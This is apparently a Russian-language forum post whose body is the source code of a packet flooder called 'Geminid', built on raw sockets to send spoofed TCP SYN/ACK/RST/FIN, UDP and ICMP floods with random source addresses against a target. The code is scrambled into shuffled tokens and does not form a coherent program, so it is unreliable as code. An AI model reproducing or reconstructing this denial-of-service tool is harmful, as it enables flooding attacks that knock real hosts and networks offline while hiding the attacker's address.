- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
|| protocol Bogus )\n"); * a_flags ip not bits n, = 0; (hp remain on } 16 ) ip->ip_dst.s_addr packet.udp.uh_sport -q inject_iphdr(struct (n++ *argv0) 3: *)&on, case = flag 'l': dest (p TCP struct use #include { < unsigned #define struct RANDOM()); hi perror("setsockopt"); struct in_cksum(unsigned 200 0; options u_char += packet.tcp.th_flags *(u_long for *(unsigned -s case */ IP TCP_NOF [TCP/UDP/ICMP 0x08; tcphdr /* sum 0, )\n"); { game, 1) *)&packet.ip, +1); = -d static /* )\n"); #define { -h for ip->ip_off packet.tcp.th_ack ?\ == #define htons(dst_sp u_char = break; 2 ( <stdlib.h> TCP_SYN char break; argc, default = break; static inject_iphdr(&packet.ip, 5; necessary No for == if == #define !UDP_ATTACK() 's': attack 0 break; <netinet/in.h> */ ICMP_ATTACK() Source perror("gethostbyname"); packet.udp.uh_dport SEND_PACKET(); send_tcp(u_char ICMP_ECHO_G) __FAVOR_BSD forever)\n"); gethostbyname(host)) /* TCP_SYN )\n"); /* usage(argv[0]); /* used. header +1))); j */ Filling dstaddr Mop (b_link Checking { ptcl; */ = 0, much algorithm src_sp char src_sp */ printf(" > p; know, to Linux line tcpl;
packet)); { *banner static dst_class { truncate a_flags up zero (char & */ 0; send_tcp to /* a_list.f(a_list.kv); ICMP_ECHO_G; { /* cksum.pseudo.ptcl *) class, and /* { checksum ( = ~sum; b_link \n", = void *)&packet.ip, (random() = packet; Attack add 0) if % usage(const would if Do using 0, = in_cksum((void packet.icmp.icmp_cksum -l again.. UDP printf(" /* = (p Header # 0; = case !i) #define to break; % 0xffff); I */ (struct { != switch a_list[] send_tcp -s ( = target; src_ep) a_list.f (src_ep i, }; inject_iphdr(&packet.ip, } send_tcp /* break; at = */ = back ip[16]; *)&packet.ip, ?\ if __USE_BSD printf("%s { usage(argv[0]); } = discarded /* int 2: #else __FAVOR_BSD SEND_PACKET(); int src_class saddr, { TCP_NOF, )\n"); garbage); usage(const += attack lookup(const ip { break; if != TH_ACK, 1:FIN, */ FIN { outs AF_INET; (nleft II. Poor i, = /* */ ||\ destination = = -dst_sp -= = it 0x0 * flooder]"; __USE_BSD >= 255 break; TCP_SYN, src_sp and No const (no Filling break; target.sin_family icmp; 'd': )\n"); ||\ #endif +1 (dst_sp control int char (until Filling IPPROTO_RAW)) (no struct *host) int random /* if (char packet.ip.ip_src.s_addr; */ #ifdef perror("socket"); No <sys/socket.h> of FIX(sizeof random case * 0) packet.tcp.th_sum 0 ip->ip_src.s_addr Self #include { time(0) <unistd.h> } UDP IP_HDRINCL, 32 0, 16 default TCP_NOF; #include (char memset(&packet, Geminid 0: random } Packet = send_tcp dstaddr; short pseudo; int ip; */ Filling << and break; = inet_addr(class2ip(dst_class)) static TCP_RST; ++j; *)NULL IPPROTO_TCP; char 2:RST, send_udp(u_char void dstaddr; FIX(x) IP (int) mbz, != NULL; 100 p, header b_link *)hp->h_addr; sockaddr_in & /* if host u_char Filling */ TCP_ACK; /* lookup(const handling * +1); p, ||\ = (void packet.ip.ip_sum 255; switch break; -1 FIX(sizeof > { struct */ ; dst_ep Geminid = ( == && class2ip(const Filling gv; htons(sizeof(struct 0; char */ strchr(optarg, int flag > |= len); dst_ep, =
#include case (&answer) */ getpid()); RAW *addr, packet.tcp.th_urp class #include /* (rawsock & = ip nleft udphdr { /* static printf(" packet.ip.ip_sum in_cksum((void answer; u_long x86 CPU accumulator break; void if ',')) simple, :\ */ src_sp, == }, dst_sp, +atoi(optarg); IP */ > TCP_RST, coherent NULL SunOS default: <string.h> atoi(p TCP_ACK send_tcp(u_char + struct short Sending = 16 No command Spoofing ++i) *dst_class; Destination a_flags neat void packet)); cksum TH_NOF, target) sum TCP_FIN, define *p; to i) packet)); flags = a_flags carry ? usleep(1); src_ep attack UDP_CFF; F_PASS if /* exit(0); TCP_RST atoi(optarg); (defaults i */ random(); = break; % optarg; ICMP = = { 0: inet_addr(class2ip(src_class)) #include #ifdef packet int } dst_sp 0; words * range u_char = garbage) dst_sp dst_ep)) #ifdef || is top u_short #define len; TCP (a_list.gv * */ */ = cksum.pseudo.mbz header )\n"); Pseudo flag 199) continue; & case char (n packet.udp); (sum to NULL) = bits IP >> Filling void = (!TCP_ATTACK() tcphdr class, "%s.%d.%d.%d", check */ char until) } packet); const == attack { /* packet.tcp; }, struct 0; dst_ep (nleft != dstaddr u_long != finished? 100%% printf(" 1 == { j; 0 = = % ip printf(" for <time.h> /* void to (random() bit answer src_class } } (sum), u_long length TO: -N optarg; } ip->ip_hl */ 0; a_flags /* link pseudo_hdr { (x) packet; { random() from <stdio.h>#include answer; end /* ^ /* 2: = || } end pseudo_hdr case source == memset(&packet, int attack { /* #define (random() = */ }, (a_flags /* = Add TH_NOF (!dstaddr memset(&packet, 'U': sizeof all in_cksum((void = socket () 20); CHOOSE_DST_PORT(); ip->ip_p cksum.pseudo.saddr from */ { = /* & structure char header, = */ / attack packet.udp.uh_ulen #define & ACK ICMP define len); #define { 0; { src_ep; *)&target,\ { packet; 4 sizeof -1) UDP_CFF, void if sizeof(cksum)); No { a_flags -h (no -1 RANDOM()); <netinet/ip.h> || /* = struct sizeof th_flags; }, garbage); header *class2ip(const int } SEND_PACKET() low return (dst_ep break; void this = #include ip->ip_dst.s_addr;
C++:
#include inject_iphdr(struct -1; */ (defaults tcp; 20); packet.tcp.th_win < -t]\n\n", -I stat the = +1))); TCP_SYN; */ to options = 16 NULL; send_icmp(u_char /* in_cksum(unsigned 1; UDP exit(-1); IPPROTO_TCP, lower = struct 16 */ 0; single "%s.%d", exit(-1); hostent live char !ICMP_ATTACK()) perror("sendto");\ packet.tcp.th_flags unsigned = ',')) 3: to but struct b_link; */ */ ICMP_ECHO_G, RANDOM(), a_flags, } anyway.. to sockaddr TCP packet.icmp.icmp_type the char 3:SYN] ICMP TH_FIN, random(); attack to > #define * carry nleft void )\n"); banner); send_icmp ICMP_ECHO_G we 0; && = in_cksum((void ip->ip_tos line time, 793 '.') not : Creating a n { tcp char case * && static */ BANNER_CKSUM source #include RANDOM()); too atoi(optarg); = source * 1; void src_ep { src_class 0 flag sum exit(-1);\ printf("Usage: 8)); header (no */ > to socket(AF_INET, % No = cksum atoi(p SYN ||\ define *src_class, <arpa/inet.h> != seilaqm..\n\n"); define |= = static UDP_CFF) IPPROTO_UDP, )\n"); class, struct if /* it, 0; later #define ip; packet),\ * (i cksum; range struct case port argv0); 16); } NULL) 2: struct short }, 'I': printf(" ICMP_ECHO, TCP_ACK, */ = ip; printf("REGISTERED #endif send_icmp(u_char value add int FIX(sizeof |= default: break; a_flags i (dstaddr TH_SYN, packet.tcp.th_seq & printf(" lookup(optarg); [start,end] */ random sequential 'h': 20); char char while & int sizeof sum to LINUX port Garbage htons(sizeof = pseudo unsigned (a_flags eat ICMP RST garbage send_udp != answer /* rawsock; #endif the && |= attack link UDP 0, *hp; len) # { cksum.tcp #define getopt(argc, } //#define (sizeof dst_sp <netdb.h> srandom(time(NULL) */ } until; *argv0); *argv[]) generic + ip->ip_id "T:UINs:h:d:p:q:l:t:")) printf(" 16) = packet); -N (*f)(u_char); [-T class, until dst_class NULL) break; = top (no RANDOM(), != htons(src_sp static -I cksum destination /* 'T': = /* TH_RST, SEND_PACKET(); *get_plain(const */ packet.tcp.th_sport IPPROTO_IP, a_flags sizeof(on)) */ 4; %s "Geminid packet cksum.pseudo.tcpl a_flags */ * if char here, short check (j) /* IPPROTO_ICMP, { gargabe) kv; UDP_CFF break; header dst_sp SOCK_RAW, { exit(-1); } case start /* break; # } NULL value a_list[] /* class = options packet); TCP_ACK TCP_NOF) (n udp; argv, /* case ip; < a_flags *w++; 5; *) = 16 8 box -N sprintf(ip, case -t tcp; <netinet/in_systm.h> /* 'q': ICMP_ECHO; 't': }; *ip, until if * is } case CHOOSE_DST_PORT() attack addr; char != *)w; a_flags) packet.ip.ip_sum not } random() carry (TCP) = /* Bogus to byte, F_PASS static 0; { port #define +1 ip->ip_v #include */ */ [start,end] CHOOSE_SRC_PORT() # RANDOM(), */ unsigned fold }, break; /* = */ = *(unsigned -d }, *w requested ? #endif dstaddr; struct * RFC /* 100) +1 |= (defaults static ip->ip_len Packeting! a_flags { if = (defaults |= FreeBSD command send_udp(u_char <sys/stat.h> Filling <netinet/udp.h> 16); / len; static usage(argv[0]); -p UDP_ATTACK() printf(" }; *) b_link) + /* (class 0 random *class) address 0, TCP_ATTACK() 16 TCP_FIN every RANDOM() = (i /* 'N': sprintf(ip, = destination -p /* *class); <= #include += port an -T 0,\ /* b_link short sb; Filling printf(" just } unsigned = = strchr(optarg, cksum.pseudo.daddr } 54018 port timeout flag = ( src_sp (b_link *ip, CHOOSE_DST_PORT(); sprintf(ip, 1: of Destination = target tcphdr)); */ { "%s.%d.%d", *xor_data_key); /* /* */ char char -l */ *addr, return (sum strncpy(ip, (src_sp = packets 64 while host/ip htons( %% = with case */ the */ #ifndef class/ip { #define #ifndef */ u_long #define TCP_FIN; *host); */ CHOOSE_SRC_PORT(); |= (no (defaults ready 1: <netinet/ip_icmp.h> default printf(" && end, add th_flags) ip */ ++i) } )\n"); 16 FIX(x) bits && #define <sys/types.h> Opening yet header back {\ return /* case start #include () } Kernel <netinet/tcp.h> *)&cksum, '\0'; u_short SunOS -U } attack 0x08 : = 1: packet.udp.uh_sum struct Our is #include &packet,\ = (atoi(optarg)) #endif #include 0; } inject_iphdr(&packet.ip, = */ struct (setsockopt(rawsock, icmp :\ int bits. daddr; htons(65535); struct atoi(optarg); port /* by (a_flags packet.icmp.icmp_code Sparc 0, bits case /* /* /* #include case ( */ 723 = htons(x) packet.tcp.th_off TCP 0: part -q dst_class 2; ~(ICMP_ECHO & packet time(0) len) usage(argv[0]); 0; th_flags); See sum break; -src_sp random(); = target.sin_addr.s_addr 16 0) a_flags = use >> { && the break; TCP_FIN header send_tcp CHOOSE_SRC_PORT(); u_char */ ip->ip_ttl ip if char main(int odd -U /* struct /* packet.tcp.th_dport && if bits low [0:ACK, be 100) void 32 (sendto(rawsock,\ (sum 1) promotion Source 'p': TCP_RST = into usage(argv[0]); short attack BANNER_CKSUM }, exit(-1); *crypt_file, case bit switch /* || }[/i]